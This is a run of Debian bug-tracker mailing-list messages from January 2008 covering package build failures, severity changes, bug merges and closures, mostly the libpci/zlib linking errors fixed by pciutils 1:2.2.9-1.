Processed: Re: slapd fails on slapd.postinst
Processing commands for [EMAIL PROTECTED]: forcemerge 452749 454368 Bug#452749: slapd: Cannot install due to postinst error Bug#454368: slapd fails on slapd.postinst Forcibly Merged 452749 454368. thanks Stopping processing here. Please contact me if you need assistance. Debian bug tracking system administrator (administrator, Debian Bugs database) -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#454368: slapd fails on slapd.postinst
forcemerge 452749 454368 thanks This was a duplicate of bug #452749, which has been fixed with the upload of slapd 2.4.7-1: * slapd.conf and DB_CONFIG are used in the postinst, they shouldn't be shipped under doc/examples because /usr/share/doc can't be depended on per policy; ship the files under /usr/share/slapd and symlink the /other/ way, which also spares us from dh_compress trying to gzip slapd.conf. Closes: #452749. -- Steve Langasek Give me a lever long enough and a Free OS Debian Developer to set it on, and I can move the world. Ubuntu Developerhttp://www.debian.org/ [EMAIL PROTECTED] [EMAIL PROTECTED] -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#462216: start-stop-daemon with --retry hangs on
Package: dpkg Version: 1.14.16.2 Severity: critical Hello, since the last updates on the dpkg package, I noticed that all start scripts which are using the start-stop-daemon with the '--retry 60' option no longer works on stopping them. For example: network-manager dhcbd dbus All these three (and I think that are even more packages) using the --retry option in stopping their daemons. They are stopping but the init script won't exit so that an simple restart will fail or the computer won't halt correctly. -- Mit freundlichem Gruß / With kind regards, Patrick Matthäi E-Mail: [EMAIL PROTECTED]
Bug#462221: severity of 462221 is important
# Automatically generated email from bts, devscripts version 2.10.12 # hardware-specific, does not affect amd64 in general severity 462221 important -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Processed: severity of 462221 is important
Processing commands for [EMAIL PROTECTED]: # Automatically generated email from bts, devscripts version 2.10.12 # hardware-specific, does not affect amd64 in general severity 462221 important Bug#462221: linux-image-2.6.23-1-amd64: No detection of dual core and Kernel Panic Severity set to `important' from `critical' End of message, stopping processing here. Please contact me if you need assistance. Debian bug tracking system administrator (administrator, Debian Bugs database) -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#462221: linux-image-2.6.23-1-amd64: No detection of dual core and Kernel Panic
Package: linux-image-2.6.23-1-amd64 Version: 2.6.23-2 Severity: critical Justification: breaks the whole system Hello, I can't upgrade my kernel. Kernels 2.6.20 and above systemacally provoke a kernel panic. I'm using a Hewlett-Packard PC with a dual core. The system seems not to detect the two procs, start with 1 and fatally crash. Here you can find picture of the panic and some informations of my system (lshw and /proc/cpuinfo) : http://perso.crans.org/~pessoles/KernelLog/ Thanks for your work. Regards, -- xabi -- Package-specific info: -- System Information: Debian Release: lenny/sid APT prefers unstable APT policy: (500, 'unstable') Architecture: amd64 (x86_64) Kernel: Linux 2.6.18-5-amd64 (SMP w/2 CPU cores) Locale: LANG=POSIX, LC_CTYPE=POSIX (charmap=ANSI_X3.4-1968) Shell: /bin/sh linked to /bin/bash Versions of packages linux-image-2.6.23-1-amd64 depends on: ii e2fsprogs1.40.3-1ext2 file system utilities and lib ii initramfs-tools [linux-initr 0.91d tools for generating an initramfs ii module-init-tools3.3-pre11-4 tools for managing Linux kernel mo linux-image-2.6.23-1-amd64 recommends no packages. -- debconf information: linux-image-2.6.23-1-amd64/postinst/depmod-error-2.6.23-1-amd64: false linux-image-2.6.23-1-amd64/postinst/bootloader-error-2.6.23-1-amd64: shared/kernel-image/really-run-bootloader: true linux-image-2.6.23-1-amd64/preinst/abort-install-2.6.23-1-amd64: linux-image-2.6.23-1-amd64/preinst/lilo-has-ramdisk: linux-image-2.6.23-1-amd64/postinst/kimage-is-a-directory: linux-image-2.6.23-1-amd64/preinst/elilo-initrd-2.6.23-1-amd64: true linux-image-2.6.23-1-amd64/preinst/bootloader-initrd-2.6.23-1-amd64: true linux-image-2.6.23-1-amd64/preinst/lilo-initrd-2.6.23-1-amd64: true linux-image-2.6.23-1-amd64/postinst/bootloader-test-error-2.6.23-1-amd64: linux-image-2.6.23-1-amd64/postinst/old-dir-initrd-link-2.6.23-1-amd64: true linux-image-2.6.23-1-amd64/postinst/depmod-error-initrd-2.6.23-1-amd64: false linux-image-2.6.23-1-amd64/preinst/overwriting-modules-2.6.23-1-amd64: true linux-image-2.6.23-1-amd64/preinst/abort-overwrite-2.6.23-1-amd64: linux-image-2.6.23-1-amd64/preinst/initrd-2.6.23-1-amd64: linux-image-2.6.23-1-amd64/postinst/create-kimage-link-2.6.23-1-amd64: true linux-image-2.6.23-1-amd64/postinst/old-system-map-link-2.6.23-1-amd64: true linux-image-2.6.23-1-amd64/prerm/removing-running-kernel-2.6.23-1-amd64: true linux-image-2.6.23-1-amd64/prerm/would-invalidate-boot-loader-2.6.23-1-amd64: true linux-image-2.6.23-1-amd64/preinst/already-running-this-2.6.23-1-amd64: linux-image-2.6.23-1-amd64/preinst/failed-to-move-modules-2.6.23-1-amd64: linux-image-2.6.23-1-amd64/postinst/old-initrd-link-2.6.23-1-amd64: true -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#462226: coreutils: FTBFS on mips: tests failed: rm/deep-1, rm/dangling-symlink, ...
Package: coreutils Version: 6.10-1 Severity: serious Hi, coreutils 6.10-1 failed to build on mips: Making check in rm make[3]: Entering directory `/build/buildd/coreutils-6.10/build-tree/coreutils-6.10/tests/rm' /usr/bin/make check-TESTS make[4]: Entering directory `/build/buildd/coreutils-6.10/build-tree/coreutils-6.10/tests/rm' make[5]: Entering directory `/build/buildd/coreutils-6.10/build-tree/coreutils-6.10/tests/rm' FAIL: deep-1.log SKIP: hash.log FAIL: dangling-symlink.log FAIL: v-slash.log PASS: i-never.log FAIL: fail-eacces.log SKIP: one-file-system.log PASS: ignorable.log FAIL: readdir-bug.log FAIL: empty-inacc.log PASS: dir-nonrecur.log FAIL: dot-rel.log FAIL: inaccessible.log FAIL: unread3.log SKIP: no-give-up.log FAIL: dir-no-w.log PASS: empty-name.log SKIP: fail-2eperm.log FAIL: cycle.log PASS: i-no-r.log PASS: fail-eperm.log FAIL: rm1.log FAIL: rm2.log FAIL: rm3.log PASS: rm4.log FAIL: rm5.log FAIL: unread2.log FAIL: r-1.log FAIL: r-2.log FAIL: r-3.log PASS: r-4.log PASS: i-1.log FAIL: ir-1.log PASS: f-1.log PASS: sunos-1.log FAIL: unreadable.log FAIL: interactive-always.log FAIL: interactive-once.log FAIL: isatty.log === 24 of 39 tests failed (4 tests were not run) See tests/rm/test-suite.log Please report it to [EMAIL PROTECTED] === Log: http://buildd.debian.org/fetch.cgi?pkg=coreutils;ver=6.10-1;arch=mips;stamp=1201066231 -- | Lucas Nussbaum | [EMAIL PROTECTED] http://www.lucas-nussbaum.net/ | | jabber: [EMAIL PROTECTED] GPG: 1024D/023B3F4F | -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#461937: libqalculate: FBTFS: configure: error: No suitable installed version of CLN could be found.
On Mon, Jan 21, 2008 at 04:54:52PM +0100, Aurelien Jarno wrote: Package: libqalculate Version: 0.9.6-1 Severity: serious I'm currently testing a new version and will probably upload it on the weekend. Thanks for triggering me, I guess I would have overlooked the cln update otherwise. -- Martin signature.asc Description: Digital signature
Bug#462227: khelpcenter: Coming from wrong soucre package
Package: khelpcenter Version: 4:4.0.0-2 Severity: serious Justification: I say so Woops. this package should not have been built from kde4 sources. /Sune -- System Information: Debian Release: lenny/sid APT prefers unstable APT policy: (500, 'unstable'), (500, 'testing'), (200, 'experimental') Architecture: i386 (i686) Kernel: Linux 2.6.20-1-vserver-k7 (SMP w/1 CPU core) Locale: LANG=C, LC_CTYPE=C (charmap=ANSI_X3.4-1968) Shell: /bin/sh linked to /bin/dash Versions of packages khelpcenter depends on: ii htdig 1:3.2.0b6-4 WWW search system for an intranet ii kdelibs4c2a 4:3.5.8.dfsg.1-6 core libraries and binaries for al ii libc6 2.7-6GNU C Library: Shared libraries ii libgcc1 1:4.3-20080116-1 GCC support library ii libqt3-mt 3:3.3.7-9Qt GUI Library (Threaded runtime v ii libstdc++6 4.3-20080116-1 The GNU Standard C++ Library v3 khelpcenter recommends no packages. -- no debconf information -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#462216: start-stop-daemon with --retry hangs on
On Wed, 23 Jan 2008, Patrick Matthäi wrote: Package: dpkg Version: 1.14.16.2 Severity: critical Hello, since the last updates on the dpkg package, I noticed that all start scripts which are using the start-stop-daemon with the '--retry 60' option no longer works on stopping them. Please check for duplicate bug reports before filing a new bug. It's already fixed in 1.14.16.3. Cheers, -- Raphaël Hertzog Le best-seller français mis à jour pour Debian Etch : http://www.ouaza.com/livre/admin-debian/
Processed: severity of 424908 is important
Processing commands for [EMAIL PROTECTED]: # Automatically generated email from bts, devscripts version 2.10.13 severity 424908 important Bug#424908: gcstar: Format may be incorrect loading error Severity set to `important' from `grave' End of message, stopping processing here. Please contact me if you need assistance. Debian bug tracking system administrator (administrator, Debian Bugs database) -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Processed: forcibly merging 462104 462216
Processing commands for [EMAIL PROTECTED]: # Automatically generated email from bts, devscripts version 2.10.13 forcemerge 462104 462216 Bug#462104: dpkg: [S-S-D] --pidfile and --retry seriously broken Bug#462216: start-stop-daemon with --retry hangs on Forcibly Merged 462104 462216. End of message, stopping processing here. Please contact me if you need assistance. Debian bug tracking system administrator (administrator, Debian Bugs database) -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#420045: marked as done (efibootmgr: FTBFS: In function `pci_load_name_list': undefined reference to `gzopen')
Your message dated Wed, 23 Jan 2008 10:17:03 + with message-id [EMAIL PROTECTED] and subject line Bug#396640: fixed in pciutils 1:2.2.9-1 has caused the attached Bug report to be marked as done. This means that you claim that the problem has been dealt with. If this is not the case it is now your responsibility to reopen the Bug report if necessary, and/or fix the problem forthwith. (NB: If you are a system administrator and have no idea what I am talking about this indicates a serious mail system misconfiguration somewhere. Please contact me immediately.) Debian bug tracking system administrator (administrator, Debian Bugs database) ---BeginMessage--- Package: efibootmgr Version: 0.5.3-2 Severity: serious Justification: FTBFS on i386, very likely to fail everywhere else Usertags: grid5000 rebuild Hi, During a rebuild of all packages in sid, I discovered that your package failed to build on i386. Relevant parts: cc -DEFIBOOTMGR_VERSION=\0.5.3\ -Wall -g -D_FILE_OFFSET_BITS=64 -Isrc/lib -Isrc/include -c -o src/lib/e fivars_sysfs.o src/lib/efivars_sysfs.c cc -DEFIBOOTMGR_VERSION=\0.5.3\ -Wall -g -D_FILE_OFFSET_BITS=64 -Isrc/lib -Isrc/includesrc/efibootmgr /efibootmgr.c src/lib/crc32.o src/lib/disk.o src/lib/efi.o src/lib/efichar.o src/lib/gpt.o src/lib/scsi_ioc tls.o src/lib/unparse_path.o src/lib/efivars_procfs.o src/lib/efivars_sysfs.o /usr/lib/libpci.a -o src/ef ibootmgr/efibootmgr /usr/lib/libpci.a(names.o): In function `pci_load_name_list': (.text+0x533): undefined reference to `gzopen' /usr/lib/libpci.a(names.o): In function `pci_load_name_list': (.text+0x5cd): undefined reference to `gzgets' /usr/lib/libpci.a(names.o): In function `.L154': (.text+0x6d3): undefined reference to `gzclose' /usr/lib/libpci.a(names.o): In function `.L154': (.text+0x6f8): undefined reference to `gzeof' /usr/lib/libpci.a(names.o): In function `.L154': (.text+0x788): undefined reference to `gzclose' /usr/lib/libpci.a(names.o): In function `.L154': (.text+0xb9c): undefined reference to `gzopen' /usr/lib/libpci.a(names.o): In function `.L155': (.text+0xd33): undefined reference to `gzerror' /usr/lib/libpci.a(names.o): In function `.L155': (.text+0xd53): undefined reference to `gzclose' collect2: ld returned 1 exit status make[1]: *** [src/efibootmgr/efibootmgr] Error 1 The full build log is available from http://people.debian.org/~lucas/logs/2007/04/rebuild.sid.i386.20070416/ About the archive rebuilt: The rebuilt was done on about 50 AMD64 nodes of the Grid'5000 platform, using a clean chroot containing a sid i386 environment. Internet was not accessible from the build systems. About Grid'5000: Grid'5000 is an highly reconfigurable experimental Grid platform gathering 9 sites and featuring a total of 5000 CPUs. It serves as a testbed for research in Grid Computing. See https://www.grid5000.fr/ -- | Lucas Nussbaum | [EMAIL PROTECTED] http://www.lucas-nussbaum.net/ | | jabber: [EMAIL PROTECTED] GPG: 1024D/023B3F4F | ---End Message--- ---BeginMessage--- Source: pciutils Source-Version: 1:2.2.9-1 We believe that the bug you reported is fixed in the latest version of pciutils, which is due to be installed in the Debian FTP archive: pciutils-dev_2.2.9-1_amd64.deb to pool/main/p/pciutils/pciutils-dev_2.2.9-1_amd64.deb pciutils-udeb_2.2.9-1_amd64.udeb to pool/main/p/pciutils/pciutils-udeb_2.2.9-1_amd64.udeb pciutils_2.2.9-1.diff.gz to pool/main/p/pciutils/pciutils_2.2.9-1.diff.gz pciutils_2.2.9-1.dsc to pool/main/p/pciutils/pciutils_2.2.9-1.dsc pciutils_2.2.9-1_amd64.deb to pool/main/p/pciutils/pciutils_2.2.9-1_amd64.deb pciutils_2.2.9.orig.tar.gz to pool/main/p/pciutils/pciutils_2.2.9.orig.tar.gz A summary of the changes between this version and the previous one is attached. Thank you for reporting the bug, which will now be closed. If you have further comments please address them to [EMAIL PROTECTED], and the maintainer will reopen the bug report if appropriate. Debian distribution maintenance software pp. Anibal Monsalve Salazar [EMAIL PROTECTED] (supplier of updated pciutils package) (This message was generated automatically at their request; if you believe that there is a problem with it please contact the archive administrators by mailing [EMAIL PROTECTED]) -BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Format: 1.7 Date: Wed, 23 Jan 2008 17:36:12 +1100 Source: pciutils Binary: pciutils pciutils-dev pciutils-udeb Architecture: source amd64 Version: 1:2.2.9-1 Distribution: unstable Urgency: medium Maintainer: Anibal Monsalve Salazar [EMAIL PROTECTED] Changed-By: Anibal Monsalve Salazar [EMAIL PROTECTED] Description: pciutils - Linux PCI Utilities pciutils-dev - Linux PCI Utilities (development files) pciutils-udeb - Linux PCI Utilities (udeb) (udeb) Closes: 396640 413462 422713 425639 Changes: pciutils (1:2.2.9-1) unstable; urgency=medium . * New upstream version * Acknowledged NMU. Closes: #425639 * pci.ids: updated with daily snapshot of Wed
Bug#409682: marked as done (FTBFS: undefined reference to `gzopen')
Your message dated Wed, 23 Jan 2008 10:17:03 +
with message-id [EMAIL PROTECTED]
and subject line Bug#396640: fixed in pciutils 1:2.2.9-1
has caused the attached Bug report to be marked as done.
This means that you claim that the problem has been dealt with.
If this is not the case it is now your responsibility to reopen the
Bug report if necessary, and/or fix the problem forthwith.
(NB: If you are a system administrator and have no idea what I am
talking about this indicates a serious mail system misconfiguration
somewhere. Please contact me immediately.)
Debian bug tracking system administrator
(administrator, Debian Bugs database)
---BeginMessage---
Package: efibootmgr
Version: 0.5.3-2
Severity: serious
Tags: sid
efibootmgr fails to build in sid (but not in etch):
Automatic build of efibootmgr_0.5.3-2 on em64t by sbuild/amd64 0.52
...
cc -DEFIBOOTMGR_VERSION=\0.5.3\ -Wall -g -D_FILE_OFFSET_BITS=64 -Isrc/lib
-Isrc/includesrc/efibootmgr/efibootmgr.c src/lib/crc32.o src/lib/disk.o
src/lib/efi.o src/lib/efichar.o src/lib/gpt.o src/lib/scsi_ioctls.o
src/lib/unparse_path.o src/lib/efivars_procfs.o src/lib/efivars_sysfs.o
/usr/lib/libpci.a -o src/efibootmgr/efibootmgr
/usr/lib/libpci.a(names.o): In function `pci_load_name_list':
(.text+0x4e6): undefined reference to `gzopen'
/usr/lib/libpci.a(names.o): In function `pci_load_name_list':
(.text+0x55f): undefined reference to `gzgets'
/usr/lib/libpci.a(names.o): In function `pci_load_name_list':
(.text+0x693): undefined reference to `gzclose'
/usr/lib/libpci.a(names.o): In function `pci_load_name_list':
(.text+0x82f): undefined reference to `gzclose'
/usr/lib/libpci.a(names.o): In function `pci_load_name_list':
(.text+0x8f3): undefined reference to `gzeof'
/usr/lib/libpci.a(names.o): In function `pci_load_name_list':
(.text+0xc2a): undefined reference to `gzopen'
/usr/lib/libpci.a(names.o): In function `pci_load_name_list':
(.text+0xc51): undefined reference to `gzerror'
/usr/lib/libpci.a(names.o): In function `pci_load_name_list':
(.text+0xc72): undefined reference to `gzclose'
collect2: ld returned 1 exit status
make[1]: *** [src/efibootmgr/efibootmgr] Error 1
make[1]: Leaving directory `/build/tbm/efibootmgr-0.5.3'
make: *** [build-stamp] Error 2
--
Martin Michlmayr
http://www.cyrius.com/
---End Message---
---BeginMessage---
Source: pciutils
Source-Version: 1:2.2.9-1
We believe that the bug you reported is fixed in the latest version of
pciutils, which is due to be installed in the Debian FTP archive:
pciutils-dev_2.2.9-1_amd64.deb
to pool/main/p/pciutils/pciutils-dev_2.2.9-1_amd64.deb
pciutils-udeb_2.2.9-1_amd64.udeb
to pool/main/p/pciutils/pciutils-udeb_2.2.9-1_amd64.udeb
pciutils_2.2.9-1.diff.gz
to pool/main/p/pciutils/pciutils_2.2.9-1.diff.gz
pciutils_2.2.9-1.dsc
to pool/main/p/pciutils/pciutils_2.2.9-1.dsc
pciutils_2.2.9-1_amd64.deb
to pool/main/p/pciutils/pciutils_2.2.9-1_amd64.deb
pciutils_2.2.9.orig.tar.gz
to pool/main/p/pciutils/pciutils_2.2.9.orig.tar.gz
A summary of the changes between this version and the previous one is
attached.
Thank you for reporting the bug, which will now be closed. If you
have further comments please address them to [EMAIL PROTECTED],
and the maintainer will reopen the bug report if appropriate.
Debian distribution maintenance software
pp.
Anibal Monsalve Salazar [EMAIL PROTECTED] (supplier of updated pciutils
package)
(This message was generated automatically at their request; if you
believe that there is a problem with it please contact the archive
administrators by mailing [EMAIL PROTECTED])
-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1
Format: 1.7
Date: Wed, 23 Jan 2008 17:36:12 +1100
Source: pciutils
Binary: pciutils pciutils-dev pciutils-udeb
Architecture: source amd64
Version: 1:2.2.9-1
Distribution: unstable
Urgency: medium
Maintainer: Anibal Monsalve Salazar [EMAIL PROTECTED]
Changed-By: Anibal Monsalve Salazar [EMAIL PROTECTED]
Description:
pciutils - Linux PCI Utilities
pciutils-dev - Linux PCI Utilities (development files)
pciutils-udeb - Linux PCI Utilities (udeb) (udeb)
Closes: 396640 413462 422713 425639
Changes:
pciutils (1:2.2.9-1) unstable; urgency=medium
.
* New upstream version
* Acknowledged NMU. Closes: #425639
* pci.ids: updated with daily snapshot of Wed 2008-01-23 02:05:02
Closes: #422713
* pciutils and pciutils-udeb depend on ${misc:Depends}
* pciutils-dev depends on zlib1g-dev. Closes: 396640, #413462
* pciutils-dev depends on pciutils (= ${binary:Version})
* Bumped debhelper compat to 5
* Bumped Standards-Version to 3.7.3
* Put myself as maintainer
* Set homepage control header
* pciutils is priority standard
* Removed empty lib directory from pciutils-udeb
* Replaced -$(MAKE) with [ ! -f Makefile ] || $(MAKE) in debian/rules
Files:
31128ff7a270897dabbaabf95cb5296d 721 admin optional pciutils_2.2.9-1.dsc
b3700c60b8b341b593d3c3f274caefb3 234382 admin optional
Bug#396838: marked as done (toshset: FTBFS: undefined reference to `gzopen')
Your message dated Wed, 23 Jan 2008 10:17:03 + with message-id [EMAIL PROTECTED] and subject line Bug#396640: fixed in pciutils 1:2.2.9-1 has caused the attached Bug report to be marked as done. This means that you claim that the problem has been dealt with. If this is not the case it is now your responsibility to reopen the Bug report if necessary, and/or fix the problem forthwith. (NB: If you are a system administrator and have no idea what I am talking about this indicates a serious mail system misconfiguration somewhere. Please contact me immediately.) Debian bug tracking system administrator (administrator, Debian Bugs database) ---BeginMessage--- Package: toshset Version: 1.72-2 Severity: serious Hello, There was a problem while autobuilding your package: Automatic build of toshset_1.72-2 on avidan by sbuild/i386 98 Build started at 20061103-0931 ** ... make[1]: Leaving directory `/build/buildd/toshset-1.72' cd toshsat1800-irdasetup-0.2; /usr/bin/make make[1]: Entering directory `/build/buildd/toshset-1.72/toshsat1800-irdasetup-0.2' gcc -g -O2 -o toshsat1800-irdasetup toshsat1800-irdasetup.c -lpci toshsat1800-irdasetup.c: In function 'find_ali1533_port_access_info': toshsat1800-irdasetup.c:265: warning: incompatible implicit declaration of built-in function 'memcpy' toshsat1800-irdasetup.c: In function 'main': toshsat1800-irdasetup.c:641: warning: incompatible implicit declaration of built-in function 'exit' toshsat1800-irdasetup.c:708: warning: incompatible implicit declaration of built-in function 'exit' toshsat1800-irdasetup.c:739: warning: incompatible implicit declaration of built-in function 'exit' /usr/lib/gcc/i486-linux-gnu/4.1.2/../../../../lib/libpci.a(names.o): In function `pci_load_name_list': (.text+0x533): undefined reference to `gzopen' /usr/lib/gcc/i486-linux-gnu/4.1.2/../../../../lib/libpci.a(names.o): In function `pci_load_name_list': (.text+0x5cd): undefined reference to `gzgets' /usr/lib/gcc/i486-linux-gnu/4.1.2/../../../../lib/libpci.a(names.o): In function `.L154': (.text+0x6d3): undefined reference to `gzclose' /usr/lib/gcc/i486-linux-gnu/4.1.2/../../../../lib/libpci.a(names.o): In function `.L154': (.text+0x6f8): undefined reference to `gzeof' /usr/lib/gcc/i486-linux-gnu/4.1.2/../../../../lib/libpci.a(names.o): In function `.L154': (.text+0x788): undefined reference to `gzclose' /usr/lib/gcc/i486-linux-gnu/4.1.2/../../../../lib/libpci.a(names.o): In function `.L154': (.text+0xb9c): undefined reference to `gzopen' /usr/lib/gcc/i486-linux-gnu/4.1.2/../../../../lib/libpci.a(names.o): In function `.L155': (.text+0xd33): undefined reference to `gzerror' /usr/lib/gcc/i486-linux-gnu/4.1.2/../../../../lib/libpci.a(names.o): In function `.L155': (.text+0xd53): undefined reference to `gzclose' collect2: ld returned 1 exit status make[1]: *** [toshsat1800-irdasetup] Error 1 make[1]: Leaving directory `/build/buildd/toshset-1.72/toshsat1800-irdasetup-0.2' make: *** [build-stamp] Error 2 ** Build finished at 20061103-0931 FAILED [dpkg-buildpackage died] Probably caused by pciutils-dev broken. Cheers, -- Julien Danjou .''`. Debian Developer : :' : http://julien.danjou.info `. `' http://people.debian.org/~acid `- 9A0D 5FD9 EB42 22F6 8974 C95C A462 B51E C2FE E5CD signature.asc Description: Digital signature ---End Message--- ---BeginMessage--- Source: pciutils Source-Version: 1:2.2.9-1 We believe that the bug you reported is fixed in the latest version of pciutils, which is due to be installed in the Debian FTP archive: pciutils-dev_2.2.9-1_amd64.deb to pool/main/p/pciutils/pciutils-dev_2.2.9-1_amd64.deb pciutils-udeb_2.2.9-1_amd64.udeb to pool/main/p/pciutils/pciutils-udeb_2.2.9-1_amd64.udeb pciutils_2.2.9-1.diff.gz to pool/main/p/pciutils/pciutils_2.2.9-1.diff.gz pciutils_2.2.9-1.dsc to pool/main/p/pciutils/pciutils_2.2.9-1.dsc pciutils_2.2.9-1_amd64.deb to pool/main/p/pciutils/pciutils_2.2.9-1_amd64.deb pciutils_2.2.9.orig.tar.gz to pool/main/p/pciutils/pciutils_2.2.9.orig.tar.gz A summary of the changes between this version and the previous one is attached. Thank you for reporting the bug, which will now be closed. If you have further comments please address them to [EMAIL PROTECTED], and the maintainer will reopen the bug report if appropriate. Debian distribution maintenance software pp. Anibal Monsalve Salazar [EMAIL PROTECTED] (supplier of updated pciutils package) (This message was generated automatically at their request; if you believe that there is a problem with it please contact the archive administrators by mailing [EMAIL PROTECTED]) -BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Format: 1.7 Date: Wed, 23 Jan 2008 17:36:12 +1100 Source: pciutils Binary: pciutils pciutils-dev pciutils-udeb Architecture: source amd64
Bug#396640: marked as done (efibootmgr: FTBFS: undefined reference to `gzopen')
Your message dated Wed, 23 Jan 2008 10:17:03 + with message-id [EMAIL PROTECTED] and subject line Bug#396640: fixed in pciutils 1:2.2.9-1 has caused the attached Bug report to be marked as done. This means that you claim that the problem has been dealt with. If this is not the case it is now your responsibility to reopen the Bug report if necessary, and/or fix the problem forthwith. (NB: If you are a system administrator and have no idea what I am talking about this indicates a serious mail system misconfiguration somewhere. Please contact me immediately.) Debian bug tracking system administrator (administrator, Debian Bugs database) ---BeginMessage--- Package: efibootmgr Version: 0.5.3-2 Severity: serious Hello, There was a problem while autobuilding your package: Automatic build of efibootmgr_0.5.3-2 on avidan by sbuild/i386 98 Build started at 20061101-2225 ** ... debian/rules build dh_testdir touch configure-stamp dh_testdir /usr/bin/make make[1]: Entering directory `/build/buildd/efibootmgr-0.5.3' cc -DEFIBOOTMGR_VERSION=\0.5.3\ -Wall -g -D_FILE_OFFSET_BITS=64 -Isrc/lib -Isrc/include -c -o src/lib/crc32.o src/lib/crc32.c cc -DEFIBOOTMGR_VERSION=\0.5.3\ -Wall -g -D_FILE_OFFSET_BITS=64 -Isrc/lib -Isrc/include -c -o src/lib/disk.o src/lib/disk.c cc -DEFIBOOTMGR_VERSION=\0.5.3\ -Wall -g -D_FILE_OFFSET_BITS=64 -Isrc/lib -Isrc/include -c -o src/lib/efi.o src/lib/efi.c src/lib/efi.c: In function 'make_disk_load_option': src/lib/efi.c:535: warning: pointer targets in passing argument 5 of 'make_harddrive_device_path' differ in signedness cc -DEFIBOOTMGR_VERSION=\0.5.3\ -Wall -g -D_FILE_OFFSET_BITS=64 -Isrc/lib -Isrc/include -c -o src/lib/efichar.o src/lib/efichar.c cc -DEFIBOOTMGR_VERSION=\0.5.3\ -Wall -g -D_FILE_OFFSET_BITS=64 -Isrc/lib -Isrc/include -c -o src/lib/gpt.o src/lib/gpt.c cc -DEFIBOOTMGR_VERSION=\0.5.3\ -Wall -g -D_FILE_OFFSET_BITS=64 -Isrc/lib -Isrc/include -c -o src/lib/scsi_ioctls.o src/lib/scsi_ioctls.c cc -DEFIBOOTMGR_VERSION=\0.5.3\ -Wall -g -D_FILE_OFFSET_BITS=64 -Isrc/lib -Isrc/include -c -o src/lib/unparse_path.o src/lib/unparse_path.c src/lib/unparse_path.c: In function 'unparse_vendor_path': src/lib/unparse_path.c:130: warning: pointer targets in initialization differ in signedness src/lib/unparse_path.c:133: warning: pointer targets in passing argument 2 of 'unparse_raw' differ in signedness src/lib/unparse_path.c: In function 'unparse_bios_path': src/lib/unparse_path.c:305: warning: pointer targets in initialization differ in signedness src/lib/unparse_path.c:308: warning: pointer targets in passing argument 2 of 'unparse_raw' differ in signedness cc -DEFIBOOTMGR_VERSION=\0.5.3\ -Wall -g -D_FILE_OFFSET_BITS=64 -Isrc/lib -Isrc/include -c -o src/lib/efivars_procfs.o src/lib/efivars_procfs.c cc -DEFIBOOTMGR_VERSION=\0.5.3\ -Wall -g -D_FILE_OFFSET_BITS=64 -Isrc/lib -Isrc/include -c -o src/lib/efivars_sysfs.o src/lib/efivars_sysfs.c cc -DEFIBOOTMGR_VERSION=\0.5.3\ -Wall -g -D_FILE_OFFSET_BITS=64 -Isrc/lib -Isrc/includesrc/efibootmgr/efibootmgr.c src/lib/crc32.o src/lib/disk.o src/lib/efi.o src/lib/efichar.o src/lib/gpt.o src/lib/scsi_ioctls.o src/lib/unparse_path.o src/lib/efivars_procfs.o src/lib/efivars_sysfs.o /usr/lib/libpci.a -o src/efibootmgr/efibootmgr /usr/lib/libpci.a(names.o): In function `pci_load_name_list': (.text+0x533): undefined reference to `gzopen' /usr/lib/libpci.a(names.o): In function `pci_load_name_list': (.text+0x5cd): undefined reference to `gzgets' /usr/lib/libpci.a(names.o): In function `.L154': (.text+0x6d3): undefined reference to `gzclose' /usr/lib/libpci.a(names.o): In function `.L154': (.text+0x6f8): undefined reference to `gzeof' /usr/lib/libpci.a(names.o): In function `.L154': (.text+0x788): undefined reference to `gzclose' /usr/lib/libpci.a(names.o): In function `.L154': (.text+0xb9c): undefined reference to `gzopen' /usr/lib/libpci.a(names.o): In function `.L155': (.text+0xd33): undefined reference to `gzerror' /usr/lib/libpci.a(names.o): In function `.L155': (.text+0xd53): undefined reference to `gzclose' collect2: ld returned 1 exit status make[1]: *** [src/efibootmgr/efibootmgr] Error 1 make[1]: Leaving directory `/build/buildd/efibootmgr-0.5.3' make: *** [build-stamp] Error 2 ** Build finished at 20061101-2225 FAILED [dpkg-buildpackage died] -- Julien Danjou .''`. Debian Developer : :' : http://julien.danjou.info `. `' http://people.debian.org/~acid `- 9A0D 5FD9 EB42 22F6 8974 C95C A462 B51E C2FE E5CD signature.asc Description: Digital signature ---End Message--- ---BeginMessage--- Source: pciutils Source-Version: 1:2.2.9-1 We believe that the bug you reported is fixed in the latest version of pciutils, which is due to be installed in the Debian FTP archive:
Bug#396730: marked as done (uswsusp: FTBFS: undefined reference to `gzclose')
Your message dated Wed, 23 Jan 2008 10:17:03 + with message-id [EMAIL PROTECTED] and subject line Bug#396640: fixed in pciutils 1:2.2.9-1 has caused the attached Bug report to be marked as done. This means that you claim that the problem has been dealt with. If this is not the case it is now your responsibility to reopen the Bug report if necessary, and/or fix the problem forthwith. (NB: If you are a system administrator and have no idea what I am talking about this indicates a serious mail system misconfiguration somewhere. Please contact me immediately.) Debian bug tracking system administrator (administrator, Debian Bugs database) ---BeginMessage--- Package: uswsusp Version: 0.3~cvs20060928-2 Severity: serious Hello, There was a problem while autobuilding your package: Automatic build of uswsusp_0.3~cvs20060928-2 on avidan by sbuild/i386 98 Build started at 20061102-1142 ** ... make[1]: Entering directory `/build/buildd/uswsusp-0.3~cvs20060928/liblzf-1.51' gcc -g -O2 -O3 